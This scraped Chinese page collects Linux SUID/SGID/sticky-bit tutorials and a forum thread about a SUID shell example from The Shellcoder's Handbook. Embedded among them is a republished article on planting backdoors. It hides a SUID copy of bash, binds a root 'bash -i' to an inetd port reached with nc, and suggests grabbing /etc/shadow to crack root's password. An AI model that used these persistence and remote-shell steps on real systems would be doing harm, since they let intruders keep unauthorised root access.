关于linux 设置suid的SUID位!

>>> Linux SUID/SGID/SBIT权限
Linux SUID/SGID/SBIT权限
其实SUID和SGID的作用跟sudo是相似的。当用户A想执行一个原本属于用户B的可执行文件时,若B的文件设置了suid位,则A在执行时是以用户 B的身份来执行。
  其中一个suid的应用实例就是passwd,在linux中,存储密码的文件是/etc/passwd与/etc/shadow这两个文件,
  linuxidc@:~/cpp$&ls&-l&/etc/passwd&-rw-r--r--&1&root&root&-22&15:03&/etc/passwd&linuxidc@:~/cpp$&&linuxidc@:~/cpp$&ls&-l&/etc/shadow&-rw-r-----&1&root&shadow&-22&15:03&/etc/shadow&linuxidc@:~/cpp$&&
  这两天文件的所属用户 是root,也就是说,只有root用户可以修改这个文件。但是在一个多用户 的系统中,即便是普通用户,也有更改自己的密码的权限吧?但是更改密码就要更改到/etc/passwd这个文件,一般情况下是不被允许的。所以,这就是suid的作用了。
  先看一下设置密码的命令:  root@:/tmp/aa#&ls&-l&/usr/bin/passwd&-rwsr-xr-x&1&root&root&-02-15&06:12&/usr/bin/passwd&
  可以看到,/usr/bin/passwd是设置 了sticky位的。也就是说,当普通用户在执行passwd命令时,其实使用是root管理员的身份,当更改完密码时,就恢复到普通用户的身份了。
  我想了一个实验来看一下效果&
  cd&/tmp/&mkdir&aa&cd&aa&
  写一个perl程序:
  #!/usr/bin/perl&system("touch&test");&
  顺便说一下,需要先安装perl-suid才可以设置perl程序suid位。不然会报如下错误:
  Can't do setuid (cannot exec sperl)  设置suid位:&  chmod&u+s&/tmp/aa/test.pl&chmod u+x /tmp/aa/test.pl&  -rwsr-xr-x&&1&linuxidc&linuxidc&&&38&&15:00&test.pl*&
  目前用用户linuxidc来执行:&  linuxidc@:/tmp/aa$&ll&总计&12&drwxr-xr-x&&2&linuxidc&linuxidc&-22&15:31&./&drwxrwxrwt&13&root&&&&root&&&&-22&15:17&../&-rw-r--r--&&1&linuxidc&linuxidc&&&&0&&15:31&test&-rwsr-xr-x&&1&linuxidc&linuxidc&&&38&&15:00&test.pl*&linuxidc@:/tmp/aa$&&
  linuxidc@:/tmp/aa$&su&密码:&&root@:/tmp/aa#&rm&-f&test&root@:/tmp/aa#&./test.pl&&root@:/tmp/aa#&ll&总计&12&drwxr-xr-x&&2&linuxidc&linuxidc&-22&15:34&./&drwxrwxrwt&13&root&&&&root&&&&-22&15:17&../&-rw-r--r--&&1&linuxidc&root&&&&&&&0&&15:34&test&-rwsr-xr-x&&1&linuxidc&linuxidc&&&38&&15:00&test.pl*&root@:/tmp/aa#&&
  当我们用root的用户来执行test.pl这个程序时,touch出来的文件的所属主依然是linuxidc,证明确实是以linuxidc的身份来执行这个程序 的。&
  SGID多用在团队合作上,实际应用我觉得很少,具体应用是不太清楚,但是,可以创建一个目录,作为团队合作的工作目录,设置 sgid,那么团队成员都会以这个组的身份来访问操作这个目录的,如果在这个目录下创建了文件,则所属的组是这个目录所属的组。这个,属于这个组的其它成员就都可以共享这个文件的内容了。&  linuxidc@:/tmp/aa$&mkdir&bb&linuxidc@:/tmp/aa$&chmod&g+s&bb&linuxidc@:/tmp/aa$&ll&总计&16&drwxr-xr-x&&3&linuxidc&linuxidc&-22&15:44&./&drwxrwxrwt&13&root&&&&root&&&&-22&15:17&../&drwxr-sr-x&&2&linuxidc&linuxidc&-22&15:44&bb/&-rw-r--r--&&1&linuxidc&root&&&&&&&0&&15:34&test&-rwsr-xr-x&&1&linuxidc&linuxidc&&&38&&15:00&test.pl*&linuxidc@:/tmp/aa$&cd&bb&linuxidc@:/tmp/aa/bb$&su&&密码:&&root@:/tmp/aa/bb#&touch&one&root@:/tmp/aa/bb#&ll&总计&8&drwxr-sr-x&2&linuxidc&linuxidc&-22&15:44&./&drwxr-xr-x&3&linuxidc&linuxidc&-22&15:44&../&-rw-r--r--&1&root&&&&linuxidc&&&&0&&15:44&one&root@:/tmp/aa/bb#&&
  这样子,即使是root创建的文件,我的普通用户linuxidc也可以查看。&
  最后一个,SBIT权限,这个是用在other权限位的,而且是应用 在目录上的操作。
  在linux上,最典型的应用就是/tmp目录,当多个用户同时登录到系统上时,都会在/tmp目录下生成自己 的文件,为了不让别的用户随便删除自己的文件,所以在/tmp目录中设置了SBIT位。&  linuxidc@:/tmp/aa$&ll&-dl&/tmp&drwxrwxrwt&13&root&root&-22&15:17&/tmp/&linuxidc@:/tmp/aa$&&
  当设置了t位,只有创建这个文件的用户才可以删除自己的文件,其它用户 是不可以删除的。
本文标题:
本文链接:
本文内容由网友发布,仅代表网友个人经验或观点,不代表本网站立场和观点。如果本文侵犯了您的知识产权,请与我们
取得联系,我们会及时修改或删除。
Linux技术文档
Linux就业指导
Linux练习题
价格:免费
价格:免费
价格:免费
关注希赛微信
接听时间:工作日00:00-24:00(仅收市话费)
&&|&&关于希赛&&|&&工作机会&&|&&服务协议&&|&&免责声明&&|&&联系希赛&&|&&网站地图&&&&&&&&希赛网&&版权所有&&&&&&&&&天极传媒:天极网全国分站
您现在的位置:
& >&Linux后门:suid shell与inetd后门
Linux后门两种姿势:suid shell与inetd后门博客 09:18
  你现在已经是root用户, 想留一个后门。
  系统环境:
  dawg:~# uname -a
  Linux dawg 2.4.20-1-386 #3 Sat Mar 22 12:11:40 EST
  1. SUID shell
  首先, 先切换成为root用户,并执行以下的命令:
  dawg:~# cp /bin/bash /.wootdawg:~# chmod 4755 /.wootdawg:~# ls -al /.woot-rwsr-xr-x 1 root root 690668 Jul 24 17:14 /.woot
  当然, 你也可以起其他更具备隐藏性的名字,我想猥琐并机智的你,肯定能想出很多好的名字的。文件前面的那一点也不是必要的,只是为了隐藏文件( 在文件名的最前面加上“.”,就可以在任意文件目录下进行隐藏) .
  现在,做为一个普通用户,我们来启用这个后门:
  fw@dawg:~$ iduid=1000(fw) gid=1000(fw) groups=1000(fw)fw@dawg:~$ /.woot.woot-2.05b$ iduid=1000(fw) gid=1000(fw) groups=1000(fw).woot-2.05b$
  为什么不行呢?
  因为 bash2 针对 suid有一些护卫的措施. 但这也不是不可破的:
  .woot-2.05b$ /.woot -p
  .woot-2.05b# id
  uid=1000(fw) gid=1000(fw) euid=0(root) groups=1000(fw)
  使用-p参数来获取一个root shell. 这个euid的意思是 effective user id(关于这些ID的知识,可以戳这里)
  这里要特别注意的是,作为一个普通用户执行这个SUID shell时,一定要使用全路径。
  小知识:
  如何查找那些具有SUID 的文件:
  dawg:~# find / -perm +4000 -ls
  这时就会返回具有SUID位的文件啦。
  2. 远程后门:利用 /etc/inetd.conf
  我们使用vi来修改 /etc/inetd.conf 文件
  原文件:
  #chargen dgram udp wait root internal
  #discard stream tcp nowait root internal
  #discard dgram udp wait root internal
  #daytime stream tcp nowait root internal
  修改为:
  #discard stream tcp nowait root internal
  #discard dgram udp wait root internal
  daytime stream tcp nowait root /bin/bash bash -i
  开启inetd:
  dawg:~# inetd
  如果要强制重启inetd:
  dawg:~# ps -ef | grep inetdroot 362 1 0 Jul22 ? 00:00:00 /usr/sbin/inetdroot
0 17:51 pts/1 00:00:00 grep inetddawg:~# kill -HUP 362
  现在我们就可以用nc来爆菊了:
  C:tools 192.168.1.77: inverse host lookup failed: h_errno 11004: NO_DATA
&&& (UNKNOWN) [192.168.1.77] 13 (daytime) open
&&& bash: no job control in this shell
&&& bash-2.05b# bash-2.05b#
&&& bash-2.05b# iduid=0(root)
&&& gid=0(root) groups=0(root)bash-2.05b# uname -a
&&& Linux dawg 2.4.20-1-386 #3 Sat Mar 22 12:11:40 EST
  小贴士:
  我们可以修改/etc/services文件,加入以下的东西:
  woot 6666/tcp #evil backdoor service
  然后修改/etc/inetd.conf :
  woot stream tcp nowait root /bin/bash bash -i
  我们可以修改成一些常见的端口,以实现隐藏。
  小编感言: 其实下 /etc/shadow文件,爆破root的密码才最保险啊!
(作者:网络安全攻防实验室责任编辑:王玉平)
天极新媒体&最酷科技资讯扫码赢大奖
* 网友发言均非本站立场,本站不在评论栏推荐任何网店、经销商,谨防上当受骗!
办公软件IT新闻整机新手园地& & & 硬件问题Linux系统管理Linux网络问题Linux环境编程Linux桌面系统国产LinuxBSD& & & BSD文档中心AIX& & & 新手入门& & & AIX文档中心& & & 资源下载& & & Power高级应用& & & IBM存储AS400Solaris& & & Solaris文档中心HP-UX& & & HP文档中心SCO UNIX& & & SCO文档中心互操作专区IRIXTru64 UNIXMac OS X门户网站运维集群和高可用服务器应用监控和防护虚拟化技术架构设计行业应用和管理服务器及硬件技术& & & 服务器资源下载云计算& & & 云计算文档中心& & & 云计算业界& & & 云计算资源下载存储备份& & & 存储文档中心& & & 存储业界& & & 存储资源下载& & & Symantec技术交流区安全技术网络技术& & & 网络技术文档中心C/C++& & & GUI编程& & & Functional编程内核源码& & & 内核问题移动开发& & & 移动开发技术资料ShellPerlJava& & & Java文档中心PHP& & & php文档中心Python& & & Python文档中心RubyCPU与编译器嵌入式开发驱动开发Web开发VoIP开发技术MySQL& & & MySQL文档中心SybaseOraclePostgreSQLDB2Informix数据仓库与数据挖掘NoSQL技术IT业界新闻与评论IT职业生涯& & & 猎头招聘IT图书与评论& & & CU技术图书大系& & & Linux书友会二手交易下载共享Linux文档专区IT培训与认证& & & 培训交流& & & 认证培训清茶斋投资理财运动地带快乐数码摄影& & & 摄影器材& & & 摄影比赛专区IT爱车族旅游天下站务交流版主会议室博客SNS站务交流区CU活动专区& & & Power活动专区& & & 拍卖交流区频道交流区
UID空间积分0 积分178阅读权限10帖子精华可用积分178 信誉积分43 专家积分10 在线时间44 小时注册时间最后登录
白手起家, 积分 178, 距离下一级还需 22 积分
帖子主题精华可用积分178 信誉积分43 专家积分10 在线时间44 小时注册时间最后登录
论坛徽章:0
本帖最后由 dxcheng 于
10:20 编辑
最近读到《The Shellcoder's Handbook》一书的&Using an Exploit to Get Root Privileges&这一部分使用SUID获取Root权限。但是我这边试了一下却还是没有得到Root权限,请大神们指教,谢谢!// shell.c
int main(){
& & & & char *name[2];
& & & & name[0] = “/bin/sh”;
& & & & name[1] = 0x0;
& & & & execve(name[0], name, 0x0);
& & & & exit(0);
}复制代码If we compile this code and run it, we can see that it will spawn a shell for us.
[jack@0day local]$ gcc shell.c -o shell
[jack@0day local]$ sudo chown root shell
[jack@0day local]$ sudo chmod +s shell
[jack@0day local]$ ./shell
我这边的结果还是普通用户的权限:
系统环境如下:
Linux centos_12 2.6.32-279.el6.i686 #1 SMP Fri Jun 22 10:59:55 UTC
i686 i386 GNU/Linux
&&nbsp|&&nbsp&&nbsp|&&nbsp&&nbsp|&&nbsp&&nbsp|&&nbsp
UID空间积分5 积分17268阅读权限90帖子精华可用积分17268 信誉积分1202 专家积分5 在线时间2427 小时注册时间最后登录
大富大贵, 积分 17268, 距离下一级还需 2732 积分
帖子主题精华可用积分17268 信誉积分1202 专家积分5 在线时间2427 小时注册时间最后登录
论坛徽章:84
If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no startup files are read, shell functions are not inherited from the environment, the SHELLOPTS, BASHOPTS, CDPATH, and GLOBIGNORE variables, if they appear in the environment, are ignored, and the effective user id is set to the real user id. If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.
慷慨陈词,岂能皆如人意,鞠躬尽瘁,但求无愧我心。
stay hungry, stay foolish
http://www.tldp.org/LDP/abs/html
UID空间积分5 积分17268阅读权限90帖子精华可用积分17268 信誉积分1202 专家积分5 在线时间2427 小时注册时间最后登录
大富大贵, 积分 17268, 距离下一级还需 2732 积分
帖子主题精华可用积分17268 信誉积分1202 专家积分5 在线时间2427 小时注册时间最后登录
论坛徽章:84
cat shell.c
#include &stdio.h&
#include &stdlib.h&
#include &unistd.h&
#include &sys/types.h&
// shell.c
int main(){
& && &&&char *name[2];
& && &&&name[0] = &/usr/bin/id&;
& && &&&name[1] = 0x0;
& & & & printf(&%d %d\n&, getuid(), geteuid());
& && &&&execve(name[0], name, 0x0);
& && &&&exit(0);
}
$ ./shell
1000 0
uid=1000(yjh) gid=1000(yjh) euid=0(root) groups=1000(yjh),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023复制代码看结果只是euid变了。
慷慨陈词,岂能皆如人意,鞠躬尽瘁,但求无愧我心。
stay hungry, stay foolish
http://www.tldp.org/LDP/abs/html
UID空间积分5 积分17268阅读权限90帖子精华可用积分17268 信誉积分1202 专家积分5 在线时间2427 小时注册时间最后登录
大富大贵, 积分 17268, 距离下一级还需 2732 积分
帖子主题精华可用积分17268 信誉积分1202 专家积分5 在线时间2427 小时注册时间最后登录
论坛徽章:84
more clear info:
First and foremost, setuid bit simply allows a script to set the uid. The script still needs to call setuid() or setreuid() to run in the the real uid or effective uid respectively. Without calling setuid() or setreuid(), the script will still run as the user who invoked the script.
慷慨陈词,岂能皆如人意,鞠躬尽瘁,但求无愧我心。
stay hungry, stay foolish
http://www.tldp.org/LDP/abs/html
UID空间积分0 积分178阅读权限10帖子精华可用积分178 信誉积分43 专家积分10 在线时间44 小时注册时间最后登录
白手起家, 积分 178, 距离下一级还需 22 积分
帖子主题精华可用积分178 信誉积分43 专家积分10 在线时间44 小时注册时间最后登录
论坛徽章:0
You are right, thanks a lot.
Seems to be due to the security reason, the system and exec drop this privileges.
I add a invoking setuid(0) before the execve, and then I get the expected result.
北京皓辰网域网络信息技术有限公司. 版权所有 京ICP证:060528号 北京市公安局海淀分局网监中心备案编号:
广播电视节目制作经营许可证(京) 字第1234号
中国互联网协会会员&&联系我们:
感谢所有关心和支持过ChinaUnix的朋友们
转载本站内容请注明原作者名及出处你的位置: >
> linux特殊权限SUID,SGID和SBIT实例演示
在linux下,除了rwx权限外,有时会看到s,t这样的权限。这些是linux下的特殊权限,包括SUID,SGID,SBIT。
SUID是什么?
SUID,全称Set User ID,简单来说就是让用户在执行程序时,身份会变成该程序的所有者,这样就能拥有程序所有者的所有权利。举个例子:
linux特殊权限suid演示文件列表
a.out是test.c编译后的文件。
test.c的内容就是从test.txt读取内容,然后打印出来。
test.txt的内容就是hello。
从上面来看,3个文件的所有者都是root,用root账号来执行程序:
一切正常。换一个账号iceup来执行程序:
在笔者的电脑上输出了奇怪的符号,这个是什么符号暂时不管它,总的来说就是没有读到test.txt的内容,原因显而易见,因为iceup没有test.txt的读取权限。
接下来设置a.out这个文件的SUID,来看下不同之处。切换回root账号,修改a.out的SUID:
chmod u+s a.out
看下文件的权限属性变化:
linux特殊权限suid演示
可以看到a.out用户权限位最有一位变成了s的权限,文件名还有个红色背景。切换到iceup账号,再次执行a.out,成功输出了hello。为什么会这样呢?因为有了这个s权限,iceup在执行a.out的时候,身份转为了a.out的所有者root,这样自然就能从test.txt读取内容了。
SGID是什么?
SGID,全称Set Group ID,和SUID类似,只是转换的身份不是用户,而是用户组。概括说明就是用户在执行程序时,所属用户组会临时转为该程序所属的用户组,这样就能拥有程序所属用户组的所有权利。
因为和SUID类似,就不用实例演示了。修改SGID用chmod命令:
chmod g+s a.out
linux特殊权限sgid演示
a.out的用户组权限最后一位变成了s,文件名有个黄色背景。
SBIT是什么?
SUID是用在用户权限位上,SGID是用在用户组权限位上,还有一个other权限位,其实就是留给SBIT用的,但是SBIT和SUID、SGID不一样。SBIT全称Sticky Bit,概括来讲:就是很多个用户在同一个目录下都能写文件和删除文件,但是大家都只能操作自己的文件,不能操作其他人的文件,只有root和该目录的所有者才能操作目录下的文件。
创建一个目录,设置SBIT权限:
$ mkdir test && chmod 777 test && chmod o+t test
linux特殊权限sbit演示
这个目录所有用户都有写权限,other的最后一个权限位是t,文件名背景色变成了绿色。切换到上面使用的iceup账号,在test下创建一个文件iceup.txt,再切换一个账号iceup2,来删除iceup.txt这个文件试一下。
$ rm test/iceup.txt
rm: remove write-protected regular file `iceup.txt'? y
rm: cannot remove `iceup.txt': Operation not permitted
不能删除,系统提示不允许,这个就是SBIT的用处了。
在linux系统下,也能找到3种特殊权限的实践案例:
/usr/bin/passwd /usr/bin/mlocate /tmp
linux特殊权限实践
设置SUID,SGID和SBIT除了使用上面的方法,还可以使用数字来表示,以前看到这样的权限0777,其实最前面的0就是表示特殊权限, 其中:
SUID 用4表示
SGID 用2表示
SBIT 用1表示
例如4777就是设置文件拥有SUID权限。不过有一点要注意:如果用户没有文件执行权限,连文件都不能执行了,那么SUID,SGID和SBIT又有什么意义呢?在这种情况下,s、t会变成大写的S、T。
转载请注明: &
与本文相关的文章}

我要回帖

更多关于 linux suid guid 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信